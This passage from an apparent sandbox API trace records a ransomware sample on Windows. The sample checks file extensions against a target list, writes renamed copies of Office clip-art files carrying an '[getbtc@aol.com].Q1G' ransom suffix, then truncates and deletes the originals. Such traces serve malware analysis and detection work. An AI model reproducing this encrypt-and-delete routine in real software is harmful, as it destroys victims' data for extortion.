-1 [0054.867] lstrlenW (lpString=".pdf") returned 4 [0054.867] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.867] lstrlenW (lpString=".xls") returned 4 [0054.867] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.867] lstrlenW (lpString=".xlsx") returned 5 [0054.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.867] lstrlenW (lpString=".ppt") returned 4 [0054.867] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.867] lstrlenW (lpString=".zip") returned 4 [0054.867] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.867] lstrlenW (lpString=".rar") returned 4 [0054.867] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.867] lstrlenW (lpString=".bz2") returned 4 [0054.867] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.868] lstrlenW (lpString=".7z") returned 3 [0054.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString=".dbf") returned 4 [0054.868] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString=".1cd") returned 4 [0054.868] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString=".jpg") returned 4 [0054.868] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString=".doc") returned 4 [0054.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.868] lstrlenW (lpString=".docx") returned 5 [0054.868] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.868] lstrlenW (lpString=".pdf") returned 4 [0054.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString=".xls") returned 4 [0054.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString=".xlsx") returned 5 [0054.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.868] lstrlenW (lpString=".ppt") returned 4 [0054.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.868] lstrlenW (lpString=".zip") returned 4 [0054.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString=".rar") returned 4 [0054.868] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.868] lstrlenW (lpString=".bz2") returned 4 [0054.868] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.868] lstrlenW (lpString=".7z") returned 3 [0054.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.869] lstrlenW (lpString=".dbf") returned 4 [0054.869] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.869] lstrlenW (lpString=".1cd") returned 4 [0054.869] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.869] lstrlenW (lpString=".jpg") returned 4 [0054.869] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.869] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.869] lstrlenW (lpString="AG00158_.GIF") returned 12 [0054.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.869] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=5030) returned 1 [0054.869] CloseHandle (hObject=0x1d0) returned 1 [0054.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0054.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.869] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.870] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.870] GetLastError () returned 0x0 [0054.870] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x13a6, lpOverlapped=0x0) returned 1 [0054.874] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0054.875] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.875] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.875] SetEndOfFile (hFile=0x1fc) returned 1 [0054.875] CloseHandle (hObject=0x1fc) returned 1 [0054.875] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.875] SetEndOfFile (hFile=0x1d0) returned 1 [0054.876] CloseHandle (hObject=0x1d0) returned 1 [0054.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0054.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.876] lstrlenW (lpString=".doc") returned 4 [0054.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.876] lstrlenW (lpString=".docx") returned 5 [0054.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.876] lstrlenW (lpString=".pdf") returned 4 [0054.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.876] lstrlenW (lpString=".xls") returned 4 [0054.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString=".xlsx") returned 5 [0054.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.877] lstrlenW (lpString=".ppt") returned 4 [0054.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString=".zip") returned 4 [0054.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString=".rar") returned 4 [0054.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString=".bz2") returned 4 [0054.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.877] lstrlenW (lpString=".7z") returned 3 [0054.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString=".dbf") returned 4 [0054.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString=".1cd") returned 4 [0054.877] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString=".jpg") returned 4 [0054.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.877] lstrlenW (lpString=".doc") returned 4 [0054.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.877] lstrlenW (lpString=".docx") returned 5 [0054.877] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.877] lstrlenW (lpString=".pdf") returned 4 [0054.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString=".xls") returned 4 [0054.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.877] lstrlenW (lpString=".xlsx") returned 5 [0054.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.877] lstrlenW (lpString=".ppt") returned 4 [0054.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.878] lstrlenW (lpString=".zip") returned 4 [0054.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.878] lstrlenW (lpString=".rar") returned 4 [0054.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.878] lstrlenW (lpString=".bz2") returned 4 [0054.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.878] lstrlenW (lpString=".7z") returned 3 [0054.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.878] lstrlenW (lpString=".dbf") returned 4 [0054.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.878] lstrlenW (lpString=".1cd") returned 4 [0054.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0054.878] lstrlenW (lpString=".jpg") returned 4 [0054.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.878] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.878] lstrlenW (lpString="AG00160_.GIF") returned 12 [0054.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.878] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1146) returned 1 [0054.878] CloseHandle (hObject=0x1d0) returned 1 [0054.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0054.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.879] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.879] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.879] GetLastError () returned 0x0 [0054.879] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x47a, lpOverlapped=0x0) returned 1 [0055.134] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x480, lpOverlapped=0x0) returned 1 [0055.135] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.135] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.135] SetEndOfFile (hFile=0x1fc) returned 1 [0055.167] CloseHandle (hObject=0x1fc) returned 1 [0055.174] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.181] SetEndOfFile (hFile=0x1d0) returned 1 [0055.182] CloseHandle (hObject=0x1d0) returned 1 [0055.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0055.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.182] lstrlenW (lpString=".doc") returned 4 [0055.182] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.182] lstrlenW (lpString=".docx") returned 5 [0055.182] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.182] lstrlenW (lpString=".pdf") returned 4 [0055.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString=".xls") returned 4 [0055.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString=".xlsx") returned 5 [0055.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.183] lstrlenW (lpString=".ppt") returned 4 [0055.183] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString=".zip") returned 4 [0055.183] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString=".rar") returned 4 [0055.183] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString=".bz2") returned 4 [0055.183] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.183] lstrlenW (lpString=".7z") returned 3 [0055.183] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString=".dbf") returned 4 [0055.183] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString=".1cd") returned 4 [0055.183] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString=".jpg") returned 4 [0055.183] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.183] lstrlenW (lpString=".doc") returned 4 [0055.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.183] lstrlenW (lpString=".docx") returned 5 [0055.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.183] lstrlenW (lpString=".pdf") returned 4 [0055.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.183] lstrlenW (lpString=".xls") returned 4 [0055.184] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.184] lstrlenW (lpString=".xlsx") returned 5 [0055.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.184] lstrlenW (lpString=".ppt") returned 4 [0055.184] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.184] lstrlenW (lpString=".zip") returned 4 [0055.184] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.184] lstrlenW (lpString=".rar") returned 4 [0055.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.184] lstrlenW (lpString=".bz2") returned 4 [0055.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.184] lstrlenW (lpString=".7z") returned 3 [0055.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.184] lstrlenW (lpString=".dbf") returned 4 [0055.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.184] lstrlenW (lpString=".1cd") returned 4 [0055.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0055.184] lstrlenW (lpString=".jpg") returned 4 [0055.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.184] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.184] lstrlenW (lpString="AN00790_.WMF") returned 12 [0055.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0055.203] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=5684) returned 1 [0055.210] CloseHandle (hObject=0x23c) returned 1 [0055.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0055.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.223] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.223] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.224] GetLastError () returned 0x0 [0055.224] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1634, lpOverlapped=0x0) returned 1 [0055.226] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1640, lpOverlapped=0x0) returned 1 [0055.227] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.227] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.227] SetEndOfFile (hFile=0x214) returned 1 [0055.227] CloseHandle (hObject=0x214) returned 1 [0055.227] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.227] SetEndOfFile (hFile=0x1d0) returned 1 [0055.228] CloseHandle (hObject=0x1d0) returned 1 [0055.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString=".doc") returned 4 [0055.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString=".docx") returned 5 [0055.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.229] lstrlenW (lpString=".pdf") returned 4 [0055.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString=".xls") returned 4 [0055.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.229] lstrlenW (lpString=".xlsx") returned 5 [0055.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.229] lstrlenW (lpString=".ppt") returned 4 [0055.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0055.229] lstrlenW (lpString=".zip") returned 4 [0055.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") 